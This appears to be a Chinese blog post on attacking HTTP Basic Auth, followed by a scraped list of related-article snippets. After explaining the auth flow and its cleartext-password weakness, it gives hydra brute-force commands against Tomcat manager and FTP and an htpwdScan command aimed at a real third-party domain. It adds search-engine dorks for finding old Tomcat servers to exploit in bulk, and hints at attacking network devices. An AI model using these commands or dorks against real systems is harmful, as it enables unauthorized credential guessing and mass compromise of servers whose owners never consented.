Basic Auth攻击
1、Basic Auth认证简介
Basic身份认证,是HTTP 1.0中引入的认证方案之一。虽然方案比较古老,同时存在安全缺陷,但由于实现简单,至今仍有不少网站在使用它。
例如Apche Tomcat、路由器等。
2、认证步骤
1、如下,用户访问受限资源 /protected_docs。请求报文如下:
GET /protected_docs HTTP/1.1
Host: 127.0.0.1:3000
2、服务端发现 /protected_docs 为受限资源,于是向用户发送401状态码,要求进行身份认证。
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm=protected_docs
响应首部中,通过WWW-Authenticate告知客户端,认证的方案是basic。同时以realm告知认证的范围。
3、用户收到服务端响应后,填写用户名、密码,然后向服务端发送认证请求。

4、服务端收到用户的认证请求后,对请求进行验证。验证包含如下步骤:
- 根据用户请求资源的地址,确定资源对应的realm。
- 解析 Authorization 请求首部,获得用户名、密码。
- 判断用户是否有访问该realm的权限。
- 验证用户名、密码是否匹配。
一旦上述验证通过,则返回请求资源。如果验证失败,则返回401要求重新认证,或者返回403(Forbidden)。
3、安全缺陷
Basic认证的安全缺陷比较明显,它通过明文传输用户的密码,这会导致严重的安全问题。
- 在传输层未加密的情况下,用户明文密码可被中间人截获。
- 明文密码一旦泄露,如果用户其他站点也用了同样的明文密码(大概率),那么用户其他站点的安全防线也告破。
- 除了安全缺陷以外,Basic认证还存在无法吊销认证的情况。
4、Basic Auth暴力破解
1、使用hydra
hydra -L /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt -P /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt -s 8
080 -f 0.0.0.0 http-get /manager/html/
hydra爆破工具还可以针对非常规的端口的FTP服务进行爆破
hydra -l www -w 10 -P pwd.txt -t 10 -v -f ftp://192.168.1.20:2121
2、使用htpwdScan
htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
介绍一个批量利用Tomcat的小技巧
在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:
intitle:”Apache Tomcat” intext:”Thanks for using Tomcat!”

对于较新版本,则使用如下关键词:
intitle:”Apache Tomcat/7.0.42″
为了匹配更多的7.0版本,考虑使用:
intitle:Apache Tomcat/7.0.
“Apache Software Foundation.” intitle:Apache Tomcat/7.0

还可以使用该工具进行校验代理
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
3、使用burpsuite
这种方法比较麻烦,必须使用的情况下可以自己看看。
同时基于Basic Auth认证的网络设备特备多,可以嘿嘿。。。

Basic Auth攻击的更多相关文章
- Apache增加Basic Auth
在.htaccess文件中增加 AuthUserFile /var/www/htpasswd/test.htpasswd AuthName EnterPassword AuthType Basic r ...
- java 发送带Basic Auth认证的http post请求
构造http header private static final String URL = "url"; private static final String APP_KEY ...
- Jmeter实现Basic Auth方式登录
背景 在实际测试日常中,产品有两种登录方式,一种是普通登录方式,另一种则是Basic Auth方式登录.两种登录对应着产品中不同的操作,对权限进行了一个划分. Postman登录 使用Postman登 ...
- 使用crypt配置Basic Auth登录认证
简介 Basic Auth用于服务端简单的登录认证,通常使用服务器Nginx.Apache本身即可完成.比如我们要限定某个域名或者页面必须输入用户名.密码才能登录,但又不想使用后端开发语言,此时Bas ...
- iOS AFNetWorking下得Basic Auth认证请求方式
我新入职了一家公司,做了一个项目,服务器的大哥说他采用的是Basic Auth认证请求方式,一般我们用的都是OAuth的认证方式,下面我们就对比一下这两种认证方式 百度百科得到如下 Basic Aut ...
- Basic Auth
开放平台 把网站服务封装成一系列接口供第三方开发者使用,这种行为就叫做Open API,提供开放API的平台本身就被称为开放平台.比如一些网站支持QQ登录,那QQ就相当于开放平台,QQ提供了一些OPE ...
- Etcd安全配置之Basic Auth认证
<中小团队落地配置中心详解>文章中我们介绍了如何基于Etcd+Confd构建配置中心,最后提到Etcd的安全问题时说了可以使用账号密码认证以达到安全访问的目的,究竟该如何开启认证以及怎么设 ...
- Http basic Auth 认证方式帮助类
BasicAuthenticationUtil import java.io.IOException; import java.security.MessageDigest; import javax ...
- java 发送带Basic Auth认证的http post请求实例代码
构造http header private static final String URL = "url"; private static final String APP_KEY ...
随机推荐
- 关于爬虫的日常复习(14)—— 爬虫beautifulsoup的初级高级的基本用法
- 1.异常(Error和Exception)
什么是异常 比如上午我们一般是开车去上班,正常情况下,一般都不会迟到,但是今天突然有个问题,车坏了或者限行了,于是乎你改坐公交了,就有可能会迟到,这就属于一种异常的情况.在实际生活中呢,可能会遇到很多 ...
- atx测试框架实现手机应用UI自动化测试
最近工作中遇到游戏APP需要实现UI自动化测试,这个app中真的是典型的混合App,有Android原生控件,有webview控件,以及游戏操作页面.研究了Appium,发现appium实现跨应用操作 ...
- BAT脚本每隔30秒创建一个512兆文件(测试磁盘监控用)
@echo offsetlocal ENABLEDELAYEDEXPANSIONset /a ii=0 for /l %%i in (1,1,100) do (set /a ii+=1ping -n ...
- python调用matlab脚本
在MATLAB和Python之间建个接口,从Python中调用MATLAB脚本或者是MATLAB的函数.内容不是很难,毕竟现成的接口已经有了,在这儿记录一下API使用的一些事项. 注:本篇使用的是MA ...
- 1.Vue初始及相关Vue核心组件
1.Vue官方文档 官网文档:https://cn.vuejs.org/v2/guide/ 2.Vue-cli官方文档(脚手架) 官网文档:https://cli.vuejs.org/zh/guide ...
- C语言的安装及使用
安装 vc6.0 使用方法 new --- win32 Console Application --- ok-ok ------c++ Source File ------ ...
- springIOC源码接口分析(一):BeanFactory
一 应用场景 BeanFactory接口定义了IOC容器的最基本功能,提供了容器应该具有的功能规范,所有的容器都应该实现这个接口 BeanFactory设计了getBean方法用来获取容器中的Bean ...
- JSP-导入taglib 出现classNotFound异常
案例 前端登录跳转到指定jsp,报classNoFoundException,原因是页面导入 <%@ taglib uri="http://java.sun.com/jsp/jstl/ ...
- Docker(一):理解Docker镜像与容器
一.镜像的概念 1.广泛镜像概念: 镜像是一种文件存储形式,是冗余的一种类型,一个磁盘上的数据在另一个磁盘上存在完全相同的副本即为镜像. 2.Docker镜像概念: 在Docker中镜像同样是一种完全 ...